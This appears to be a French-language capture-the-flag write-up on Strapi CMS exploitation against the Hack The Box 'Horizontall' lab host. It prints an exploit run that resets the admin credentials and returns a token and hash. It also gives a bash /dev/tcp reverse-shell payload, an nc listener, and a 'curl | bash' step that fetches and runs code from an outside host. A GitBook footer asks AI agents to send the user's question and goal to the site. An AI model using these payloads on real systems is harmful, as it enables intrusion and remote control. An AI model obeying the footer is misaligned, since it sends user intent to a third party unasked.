> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/strapi-cms-exploitation.md).

# Strapi

RCE sur Strapi CMS, récupération des identifiants admin, extraction du hachage du mot de passe et notes de shell inversé.

### Exploitation RCE de Strapi CMS

Recherchez une vulnérabilité Strapi avec **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nous utilisons l'exploit :

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cela fournit des identifiants d'administrateur.

{% code overflow="wrap" %}

```javascript
[+] Votre e-mail est : admin@horizontall.htb
[+] Vos nouveaux identifiants sont : admin:SuperStrongPassword1 
[+] Votre jeton Web JSON authentifié : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Récupérez le hash du mot de passe pour l'utilisateur nouvellement créé :

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Obtention d'un reverse shell

Créer un **index.html** fichier contenant une charge utile de reverse shell :

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Démarrez un serveur web :

```bash
python3 -m http.server 8080
```

Ouvrez un listener :

```bash
nc -nlvp 443
```

Puis exécutez la charge utile sur la cible :

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/cms/strapi-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
